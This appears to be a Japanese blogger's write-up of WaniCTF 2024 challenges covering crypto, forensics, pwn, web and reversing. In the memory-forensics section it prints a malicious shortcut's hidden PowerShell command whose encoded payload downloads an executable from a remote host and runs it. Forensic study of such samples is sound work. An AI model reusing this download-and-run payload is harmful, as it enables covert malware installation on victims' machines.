X見てたら見つけたものをやってみた。

好き嫌いが激しすげていかん。とがるならもっとフォレンジックをとがらせたいと思います。
開閉
crypto
beginners_rsa
Do you know RSA?
ということで、RSAの問題を解いていく。
n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347 e = 65537 enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265
nとeと暗号文が渡された。おや、よく見るとnがpqrsaで定義されている。つまり、因数分解して、それぞれ1引いたものを用いてdを出せばよさそう。factordbに投げてみる。因数分解できた。よって、よくある流れでRSAを解けば終了。
beginners_aes
AES is one of the most important encryption methods in our daily lives.
ということで、やっていく。AES問題をそんなに解いたことがないので、楽しみ。
enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18' flag_hash = 6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e
というものと実行コードが渡されている。(CBCモードの基礎)を参考にすると、一つ前の暗号文とxorして暗号文を作るようだ。 pythonでの復号をコードに書いて、
from Crypto.Cipher import AES
from os import urandom
import hashlib
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"
key2 = b'the_enc_key_is_'
iv2 = b'my_great_iv_is_'
def decrypt(key, iv, ct):
cipher = AES.new(key, AES.MODE_CBC, iv)
de = cipher.decrypt(ct)
de = unpad(de,16)
return de
flag = 0
while(flag ==0):
key = key2 + urandom(1)
iv = iv2 + urandom(1)
try:
dec = decrypt(key,iv,enc)
if (hashlib.sha256(dec).hexdigest() == flag_hash):
print(dec)
flag = 1
except:
pass
を行うとフラグゲット。
replacement
No one can read my diary!
ということで、2つのファイルを渡された。
一つはリスト型の数値の羅列。もう一つはその羅列の作られ方。
enc = []
for char in cal:
x = ord(char)
x = hashlib.md5(str(x).encode()).hexdigest()
enc.append(int(x, 16))
である。総当たりするのが直感的に思いつく。
strings ="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789! .{}"
cal = list(strings)
ans =""
for day in diary:
for char in cal:
x = ord(char)
x = hashlib.md5(str(x).encode()).hexdigest()
if (day == int(x, 16)):
ans = ans + char
print(ans)
与えられたリストをdiaryという変数に入れて実行するとフラグゲット。終了。
Forensics
tiny_usb
USBが狭いWhat a small usb!
windowsディフェンダーに引っかかるのが面倒。isoファイルが与えられている。まずは初手かな。fileコマンドで様子見る。
└─# file chal_tiny_usb.iso chal_tiny_usb.iso: ISO 9660 CD-ROM filesystem data 'CHAL_TINY_USB'
一応、ファイルシステムなので、解析できるのかな?
└─# strings chal_tiny_usb.iso
CD001
CHAL_TINY_USB
UNDEFINED
IMGBURN V2.5.8.0 - THE ULTIMATE IMAGE BURNER!
2024052820322500$2024052820322500$0000000000000000
0000000000000000
ImgBurn v2.5.8.0
CD001
FLAG.PNG;1
IHDR
pHYs
tEXtSoftware
Celsys Studio Tool
dIDATx
OL\G
pngとあるので、何かしらの画像ファイルがあるのだろうか?hexdumpしてみると下に
0012a800 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
pngファイルらしいものがある。調べていると(Linux ISOからファイルの抽出)というものがあった。マウントせずに抽出したいところ。7zを使って抽出できるようだ。└─# 7z x chal_tiny_usb.isoを行ったらpngファイルとflagゲット。
codebreaker
I, the codebreaker, have broken the QR code! ということで、画像にばってんが付いたQRコードpngが渡された。確かにこれでは読めないか。それらしく修正していけば読み込めるのかと思い、位置検知のところだけでもそれっぽくした。

読み込めた。正攻法ではないけどできた。終了。
I_wanna_be_a_streamer
母ちゃんごめん、俺配信者として生きていくよ。
たまには配信に遊び来てな。
(動画のエンコーディングにはH.264が使われています。)
ということで、pcapファイルを渡された。懐かしい。動画の情報についてなのかな?

UDP通信で行われているのはわかるが、dataのところにはほとんどない。

192.168.0.100と192.168.0.105が多くのパケットをやり取りしていることが分かる。実際にやり取りを見ても、二者間の通信がほとんどである。何かしらのpaylodをやり取りしている。
(GStreamer で Wireshark の RTP パケットからビデオを再生する方法)というものがあり、実行してみたが、いい結果は得られなかった。
C:\gstreamer\1.0\msvc_x86_64\bin\gst-launch-1.0 -m -v filesrc location=./file.pcap ! pcapparse src-port=22000 dst-port=59974 ! application/x-rtp,media=video,clock-rate=90000,payload=126application/x-rtp,media=video,clock-rate=90000,payload=126 ! rtpjitterbuffer ! rtph264depay ! avdec_h264 ! videoscale ! videoconvert ! x264enc ! mp4mux ! filesink location=./output.mp4
とすると何かしらは抽出できたが、見れない。payloadはpayloadtypeのことかもしれないと思い、96に変更してやってみる。
C:\gstreamer\1.0\msvc_x86_64\bin\gst-launch-1.0 -m -v filesrc location=./file.pcap ! pcapparse src-port=22000 dst-port=59974 ! application/x-rtp,media=video,clock-rate=90000,payload=96application/x-rtp,media=video,clock-rate=90000,payload=96 ! rtpjitterbuffer ! rtph264depay ! avdec_h264 ! videoscale ! videoconvert ! x264enc ! mp4mux ! filesink location=./output.mp4
できた。うれしいいいいいいいいいいいい。
Surveillance_of_sus
悪意ある人物が操作しているのか、あるPCが不審な動きをしています。
そのPCから何かのキャッシュファイルを取り出すことに成功したらしいので、調べてみてください!
ということらしい。
└─# file Cache_chal.bin Cache_chal.bin: data
ただのデータが渡され散る。キャッシュファイルだとは思うので、何かしらで解析するんだよね。そもそもキャッシュファイルとは?
知識(キャッシュファイル)
キャッシュファイル
(キャッシュファイル)stringsコマンドをしてみる。
└─# strings Cache_chal.bin RDP8bmp i2\@ kaSDr@ :kQ@ {b`R
(Magic number)を参考にすると、RDP Bitmap Cacheファイルらしい。
知識(RDP Bitmap Cache)
RDP Bitmap Cache
(RDPビットマップキャッシュについて)を参考にする。RDPにおいて、画面情報を通信するときのキャッシュのようだ。上記サイトを参考に以下のコードを実行する。
└─# python3 ./bmc-tools.py -s "Cache_chal.bin" -d ./output/ -b [+++] Processing a single file: 'Cache_chal.bin'. [===] 650 tiles successfully extracted in the end. [===] Successfully exported 650 files. [===] Successfully exported collage file.
抽出できた。これをRdpCacheStitcherを用いてつなぎ合わせれば、flagゲット。終了。
mem_search(解けていません)
知らないファイルがあったので開いてみると変な動作をしたので、メモリダンプを取りました!
攻撃はどうやって行われたのでしょう?
メモリダンプは大きいので以下のURLで配布します (解凍すると2GBになります)
WaniCTF開催後は非公開になる可能性があります。
https://drive.google.com/file/d/1sxnYz-bp-E9Bj9usN8lRoL4OE8AxrCRu/view?usp=sharing
※ 注意: ファイル内にFLAGが2つあります。FLAG{Hで始まるFLAGは今回の答えではありません。FLAG{Dで始まるFLAGを提出してください。
ということで、メモリダンプのお話のようだ。(CTFのフォレンジックにおけるメモリフォレンジックまとめ [Volatility 3, Volatility 2])、(Volatility3を早速使ってみた[追記])を参考に行う。
└─# file chal_mem_search.DUMP chal_mem_search.DUMP: MS Windows 64bit crash dump, version 15.19041, 1 processors, full dump, 4992030524978970960 pages
windows環境のメモリダンプであることがわかる。
Variable Value Kernel Base 0xf8030e400000 DTB 0x1ad000 Symbols file:///home/yukichi/mount/wani/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz Is64Bit True IsPAE False layer_name 0 WindowsIntel32e memory_layer 1 WindowsCrashDump64Layer base_layer 2 FileLayer KdDebuggerDataBlock 0xf8030f000b20 NTBuildLab 19041.1.amd64fre.vb_release.1912 CSDVersion 0 KdVersionBlock 0xf8030f00f400 Major/Minor 15.19041 MachineType 34404 KeNumberProcessors 1 SystemTime 2024-05-11 09:33:57 NtSystemRoot C:\Windows NtProductType NtProductWinNt NtMajorVersion 10 NtMinorVersion 0 PE MajorOperatingSystemVersion 10 PE MinorOperatingSystemVersion 0 PE Machine 34404 PE TimeDateStamp Mon Dec 9 11:07:51 2019
また、不審な動作をしたということなので、プロセスを見てみる。
└─# python3 vol.py -f '../chal_mem_search.DUMP' windows.pslist Volatility 3 Framework 2.7.1 Progress: 100.00 PDB scanning finished PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output 4 0 System 0xcd88c7a97040 168 - N/A False 2024-05-11 09:31:11.000000 N/A Disabled 72 4 Registry 0xcd88c7a85080 4 - N/A False 2024-05-11 09:31:06.000000 N/A Disabled 528 4 smss.exe 0xcd88c9ac8040 2 - N/A False 2024-05-11 09:31:11.000000 N/A Disabled 632 624 csrss.exe 0xcd88c946a080 10 - 0 False 2024-05-11 09:31:13.000000 N/A Disabled 704 624 wininit.exe 0xcd88cb7d1080 1 - 0 False 2024-05-11 09:31:13.000000 N/A Disabled 712 696 csrss.exe 0xcd88cb7d9140 11 - 1 False 2024-05-11 09:31:13.000000 N/A Disabled 760 696 winlogon.exe 0xcd88cb7f5080 7 - 1 False 2024-05-11 09:31:13.000000 N/A Disabled 824 704 services.exe 0xcd88cbe3c100 8 - 0 False 2024-05-11 09:31:13.000000 N/A Disabled 832 704 lsass.exe 0xcd88cbe4e080 11 - 0 False 2024-05-11 09:31:13.000000 N/A Disabled 928 760 fontdrvhost.ex 0xcd88cbe8c1c0 5 - 1 False 2024-05-11 09:31:13.000000 N/A Disabled 936 704 fontdrvhost.ex 0xcd88cbe8a0c0 5 - 0 False 2024-05-11 09:31:13.000000 N/A Disabled 976 824 svchost.exe 0xcd88cbe912c0 24 - 0 False 2024-05-11 09:31:13.000000 N/A Disabled 568 824 svchost.exe 0xcd88cbf45340 13 - 0 False 2024-05-11 09:31:14.000000 N/A Disabled 796 760 dwm.exe 0xcd88cbfe8080 16 - 1 False 2024-05-11 09:31:14.000000 N/A Disabled . . . 2704 3576 powershell.exe 0xcd88ce279080 0 - 1 False 2024-05-11 09:33:52.000000 2024-05-11 09:33:56.000000 Disabled 7844 2704 msedge.exe 0xcd88cd7ac080 0 - 1 True 2024-05-11 09:33:55.000000 2024-05-11 09:33:57.000000 Disabled
明らかに不審な実行はない。notepadやpowershellの実行は気になる。でも、知らないファイルを開いているということはexplorer.exe(3576)やonedrive.exe(7372)は見ておきたい。
お手上げだったので、(WaniCTF 2024)writeupを見てしまった。ファイルスキャンを行うのが良かったようだ。いったんやってみたが、量が多かったので敬遠していたが、mikkaやDesktopでgrepしたらよかったかもしれない。ファイルを触ったと書いてあるのはヒントになっていたのかもしれない。
└─# python3 vol.py -f "../chal_mem_search.DUMP" windows.filescan.FileScan | grep Desktop 0xcd88cc0d2850.0\Windows\System32\DispBroker.Desktop.dll 216 0xcd88cc23dd40 \Windows\System32\winevt\Logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx 216 0xcd88cc23eb50 \Windows\System32\winevt\Logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Admin.evtx 216 0xcd88cc710700 \Users\Mikka\Desktop 216 0xcd88ccd2c930 \Windows\System32\DesktopShellExt.dll 216 0xcd88ccf0ca10 \Users\Mikka\Desktop\desktop.ini 216 0xcd88cd52fd20 \Windows\System32\SettingsEnvironment.Desktop.dll 216 0xcd88cd530810 \Users\Mikka\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini 216 0xcd88cd5341e0 \ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini 216 0xcd88cdd5e130 \Users\Mikka\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini 216 0xcd88cdd651b0 \Windows\SoftwareDistribution\Download\f70085ec9ad749e7257f1893f63367a6\Metadata\DesktopTargetServicedCompDB_Neutral.xml.cab 216 0xcd88cdd70ba0 \Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppxManifest.xml216 0xcd88cdd893d0 \Windows\System32\Windows.Cortana.Desktop.dll 216 0xcd88cdf95960 \Windows\System32\WindowsInternal.ComposableShell.DesktopHosting.dll 216 0xcd88ceb9f2b0 \Users\Mikka\Desktop\echo.txt 216 0xcd88ceba5e80 \Users\Public\Desktop\desktop.ini 216 0xcd88ceba67e0 \Users\Public\Desktop\Microsoft Edge.lnk 216 0xcd88cebac730 \Users\Mikka\Desktop 216 0xcd88cebc26c0 \Users\Mikka\Desktop\read_this_as_admin.lnknload 216 0xcd88cebc3660 \Users\Public\Desktop 216 0xcd88cebc5410 \Users\Public\Desktop 216 0xcd88cebc69f0 \Users\Mikka\Desktop 216 0xcd88cebc7350 \Users\Mikka\Desktop 216
0xcd88cebc26c0 \Users\Mikka\Desktop\read_this_as_admin.lnknload 216ここが怪しいようだ。飛ばしてしまいそう。この探す力もフォレンジックには必要そうだ。このファイルをダンプする。
└─# python3 vol.py -f "../chal_mem_search.DUMP" -o "../output/" windows.dumpfiles.DumpFiles --virtaddr 0xcd88cebc26c0 Volatility 3 Framework 2.7.1 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0xcd88cebc26c0 read_this_as_admin.lnknload file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat
いい感じ。中身を見ると、
└─# cat file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat �8O� �:i�+00�/C:\V1�X3�Windows@ ヌOwH�X�J.�� WindowsZ1�X{cSystem32B ヌOwH�X�J.k���erSystem32t1�O�IWindowsPowerShellT ヌO�I�X�H.�����WindowsPowerShell N1�X4�v1.0: ヌO�I�XDK.��'>�v1.0l2�PX@ powershell.exeN ��PX@ �X�B.hi#���'powershell.exeh-gt$�C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32�-window hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHoAWAAnACsAJwAyAGwAegBYADMATgBsAFkAMwBKAGwAZABGADkAbQBhAFcAeABsAGYAUQAlADMAJwArACcARAAlADMARAAvAGMAaABhAGwAbABfAG0AZQBtAF8AcwBlACcAKwAnAGEAcgBjAGgALgBlACcAKwAnAHgAZQAnADsAJAB0AD0AJwBXAGEAbgAnACsAJwBpAFQAZQBtACcAKwAnAHAAJwA7AG0AawBkAGkAcgAgAC0AZgBvAHIAYwBlACAAJABlAG4AdgA6AFQATQBQAFwALgAuAFwAJAB0ADsAdAByAHkAewBpAHcAcgAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZABcAG0AcwBlAGQAZwBlAC4AZQB4AGUAOwAmACAAJABkAFwAbQBzAGUAZABnAGUALgBlAHgAZQA7AH0AYwBhAHQAYwBoAHsAfQA=C:\hack\shared\read_this.docx�%SystemDrive%\hack\shared\read_this.docx%SystemDrive%\hack\shared\read_this.docx�%� �����Kp\��1SPS��XF�L8C���&�m�q/S-1-5-21-1812296582-1250191020-2086791148-100191SPS�mD��pH�H@.�=x�hH�o�P
何やらbase64されている。

難読化されている。難読化を解いて再びbase64デコードを行うとflagゲット。楽しい問題だった。
tiny_10px(解けていません)
世界は狭い
What a small world!
ということで、
pwnable
nc
pwn問題はnc(net cat)コマンドを使って問題サーバに接続することがよくあります。ncの使い方を覚えておきましょう
下記コマンドをshellで実行することで問題サーバに接続することが出来ます。接続先で問題を解き、フラグを獲得してください
Pwn challenges often require connecting to the challenge server using the nc (netcat) command. It's important to learn how to use nc.
You can connect to the challenge server by executing the following command in your shell. Solve the problem at the connection point and obtain the flag.
nc chal-lz56g6.wanictf.org 9003
ということで、接続してみる。
└─# nc chal-lz56g6.wanictf.org 9003 15+1=0x
答えを16進数で表したらflagゲット。
do_not_rewrite(解けていません)
canaryにはかなーり気をつけないといけません
Be careful with the canary.
nc chal-lz56g6.wanictf.org 9004
ということで、カナリアのあるオバーフローをやったことないので、頑張ってみる。
とにかく実行してみる。
└─# nc chal-lz56g6.wanictf.org 9004 hint: show_flag = 0x55657c73925f Enter the name of ingredient 1: 2 Enter the calories per gram for 2: 2 Enter the amount in grams for 2: 2 Enter the name of ingredient 2: 2 Enter the calories per gram for 2: 2 Enter the amount in grams for 2: 2 Enter the name of ingredient 3: 2 Enter the calories per gram for 2: 2 Enter the amount in grams for 2: 2 Enter the name of ingredient 4: 2 Enter the calories per gram for 2: 2 Enter the amount in grams for 2: 2 Total calories for the meal: 12.00 kcal *** stack smashing detected ***: terminated
最初にflagのアドレスを教えていただいている。ここに飛ばせたら良いということだと思う。入力は食料の名前とグラム単位のカロリー、グラムを入力するこれを計4回行うとトータルのカロリーを出してくれるようだ。
web
Bad_Worker(解けていません)
オフラインで動くウェブアプリをつくりました。
We created a web application that works offline.
https://web-bad-worker-lz56g6.wanictf.org
ということで、web問題。

コンテナをつくったり、flagを表示するサイトのようだ。
Reversing
lambda(解けていません)
Let's dance with lambda!ということでやっていく。
└─# python3 lambda.py
Enter the flag: FLAG{
Incorrect
コードから理解しないといけないようだ。
知識(lambda)
lambda
(Pythonのlambdaって分かりやすい)を参考に理解する。`lambda 引数: 返り値`で関数のように行うことが出来る。それでも、読みにくい。
home(解けていません)
FLAGを処理してくれる関数は難読化しちゃいました。読みたくは……ないですね!
とりあえず、ghidraに突っ込んでみる。よくわからない。